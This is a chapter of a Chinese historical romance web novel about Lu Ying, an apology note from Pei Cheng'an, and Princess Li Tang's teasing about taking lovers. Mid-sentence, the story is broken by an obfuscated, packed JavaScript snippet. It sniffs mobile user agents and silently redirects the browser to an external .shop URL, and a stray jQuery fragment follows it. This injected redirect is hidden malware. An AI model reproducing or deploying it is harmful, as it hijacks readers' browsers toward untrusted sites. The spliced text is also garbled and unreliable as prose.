生气归生气,可这些情绪,到最后终究只能靠自己一点点化解。
从小到大,卢英受过的委屈数不胜数,她早就习惯了忍耐。忍着忍着,那些翻涌到鼻尖、酸涩难忍的泪意便会慢慢消退,最终归于平静。
就好比那天回府的马车上,冯泓坐在一旁,根本没有察觉出她的难过,只当她是一如既往的沉默寡言。
人的成长,大抵都是有迹可循的。
在爹爹考取功名之前,他们一家四口一直生活在潮湿逼仄的南州。爹爹是个肩不能挑、手不能提的文秀书生,娘亲詹氏是个农家女。在娘亲心里,能嫁给秀才已是她顶天的福分。因此,在她那套根深蒂固的观念里,第一重要的是父亲,第二是哥哥,最后才是女儿。
小时候,爹爹只需安心读书,娘亲便包揽了一切家务。哥哥可以无忧无虑地玩耍,而她却要跟着娘亲去浣纱采珠,补贴家用。
后来爹爹高中,娘亲拖儿带女进京寻夫。
京城的生活,是南州难以想象的繁华迤逦。但对于清贫的卢家还是太奢侈了。
爹爹在旧朝还颇受倚重,但很快旧朝倾覆,新皇并不喜欢跪得太容易的旧臣们。
她们一家在京城没有太大变化。
母亲还是一如既往地以夫为重,全身心地扑在爹爹身上。她有时候无法理解,女子为何会在情*爱里陷得如此卑微,除了夫君盲目到没有自我。
她哥哥呢,还是一贯地跳脱,今天喜欢舞刀弄枪,明天喜欢道法相术,但等到成年后,总归收拾心思考取功名。
而她,一直在这个家里沉默隐忍地长大。懂事内敛,是她娘亲出去说亲时最得意的说词。
可她心里知道,不是的。
她渴望长大,渴望掌握自己的命运,渴望拥有自己的实力。
她希望自己有朝一日,可以随意处置任何事情,同样,在面对任何无理的要求时,也能够随心所欲地说不。
所以她羡慕公主,无论是长公主还是平乐公主,她们都有恣意生活、睥睨众生的底气。
窗棂上不知何时停了一只蝴蝶,扑闪着斑斓的翅膀,将卢英纷乱的思绪拉回了现实。
她透过窗台望去,只见花园正中间的亭子里,长公主李棠正慵懒地坐着。她周围围着不少年轻的男侍与伶人,多是公主府上豢/养的面/首。
这些容貌姣好的男子围着长公主,争先恐后地开屏争宠。有给她捏肩捶背的,有剥了果子递到嘴边的。其中一个生得颇为俊俏的男子,将一颗剥了皮的晶莹葡萄喂到李棠嘴边。
李棠檀口微张,吐/露着鲜/红的舌/尖,将那颗葡萄卷入口中,顺势含/住了男子的手指,轻轻吮/吸了一下。那男子修长的手指便大胆地在李棠口中微/动了两下。
卢英只看了一眼,面上便猛地一热,像是被烫到了一般,赶紧低下头去,不敢再看。
亭中的长公主似乎察觉到了她的目光,莞尔一笑:“英娘,若是作画累了,便过来亭子里坐坐吧。”
“不必了,公主,我在屋内歇息也是一样。”卢英轻声回绝。
今日她应邀来长公主府临摹穆皇后的画像,这是之前便应承下来的差事,直到今日才终于腾出些许空闲。
正出神间,一名内侍轻手轻脚地走进屋,奉上一盏热茶。就在凑近递水的功夫,内侍极快地将一张纸条塞入她手心,压低声音道:“夫人,这是裴大人给您的信。”
卢英心头猛地一跳。这赤霄卫难道已经通天到这种地步,在各府都能安插眼线?
一抹惶恐的神色在她眼底一闪而过,但她很快镇定下来,将纸条死死攥在手心,唯恐被长公主看出端倪。
趁着背过身喝茶的间隙,她迅速摊开纸张扫了一眼,随即揉成一团递给丫鬟小娥,用眼神示意她妥善收好。
再转过身时,她已恢复了平静,神情自然地捻起一块糕点细嚼慢咽,脑海里却不受控制地回放着纸条上的字句。
“昨夜宫道风大,裴某言辞过激,多有冒犯。夫人忍辱负重,裴某未能体谅,反以小人之心度之,实乃裴某之过。两日后北镇抚司认人之事,若夫人不愿抛头露面,裴某自会差人将画像送至府上。望夫人勿怪。”
什么嘛,这算打一巴掌给一颗甜枣?
不过也难为他一个堂堂赤霄卫指挥使,竟能低声下气地跟她解释这么多。
卢英在心里冷哼了一声,一定是为了请她帮忙才肯低头。
她轻轻咬住一颗葡萄,嘴角却忍不住微微上扬,连她自己都没察觉到那丝隐秘的甜意。
先前那股恨不得再也不要见到他的恼意,竟都抛诸脑后了。
长公主李棠走进来时,恰好捕捉到卢英这副又气又笑的娇俏模样。
李棠挑了挑眉,打趣道:“看来你们夫妻最近感情不错。”
卢英一愣:“何以见得?”
明明不是在想冯泓,却满脸思/春的神情。李棠暗自好笑,却也不点破,只随口问道:“冯泓近来如何?”
“规矩了些,只是不知能坚持多久。”卢英略有些惆怅地叹了口气。
李棠轻笑了一声,语气慵懒:“英娘,男人这东西,你其实不必太过看重。”
卢英睁大了眼睛,眸子里第一次流露出纯粹的困惑,活像一只懵懂无知的小犬,惹得李棠都忍不住想上手摸上几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778806|209903||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把。
“男人就像握在手里的沙,你越握得紧,它越从指缝里流走。你要学会不理会他,打一巴掌再给一颗甜枣,让他像吃不到骨头的恶犬一样,闻着味道就流口水,欲/罢/不/能。”
卢英冷不丁地想:这跟裴承安对自己的做派有什么区别?难道他也在“驭狗”?
呸呸呸!她赶紧在心里啐了两口。
“而且……”李棠又笑了一下,意味深长。
“而且什么?”卢英忍不住探过身去。
李棠轻轻附在她耳畔,吐气如兰:“你是太老实了。这京中贵妇玩得花样可多的是,你何不试试别的滋味?英娘,我们可以一起玩……”
这话简直如一道闪电劈开了卢英的认知,她脑袋蒙蒙地跌回座椅上。就如同刚刚伶人喂/食公主那样么?
她羞煞不已:“公主,您快别寻我开心了!”
李棠挑眉,不以为意:“你就是脸皮薄。什么事情都要尝试一番,才知道没什么大不了。连城阳在世时,不也养过面首。”
什么?!城阳公主和驸马裴承安?!
卢英惊得差点咬到自己的舌头。
李棠却老神在在地继续游说:“只有你不把他放在心上了,他才会反过来眼巴巴地来找你。你若有意,过几日跟我去行宫游玩,在我这里,定是稳妥的。”
卢英客气地谢过公主,心里却默默婉拒了。
这些是公主、寡居诰命夫人们玩的乐趣,她们这些安分守己的妇道人家,哪里玩得起。
走出公主府,马车平稳地行驶在回家的路上。
卢英在车厢里沉默地坐了一会儿,忽然对外吩咐道:“去一趟北镇抚司。”
……
北镇抚司内,裴承安端坐在书案后,正垂眸批阅着手中的卷宗。
“大人!”
心腹郭虎掀开门帘,快步走入,压低了声音禀报,“外头有位女郎,来寻大人。”
“啪”的一声轻响。
裴承安手中的狼毫笔猛地顿住。他几乎是立刻搁下笔,霍然起身,迈开长腿大步流星地朝外走去。
几乎是直觉,他觉得是她来了。
那份道歉信,她收到了吧?
跨出北镇抚司的大门,他一眼便看到了停在台阶下那辆不起眼的马车。马车旁,站着一个戴着素色帷帽的女子,身段纤细,安静地立在那里,身旁还跟着一个丫鬟。
只一眼,裴承安便认出了她。
隔着薄薄的轻纱,卢英抬起头,对上了男人那双深邃如潭的眼眸。
“夫人。”
这一声呼唤里,是裴承安自己都察觉不到的喜悦。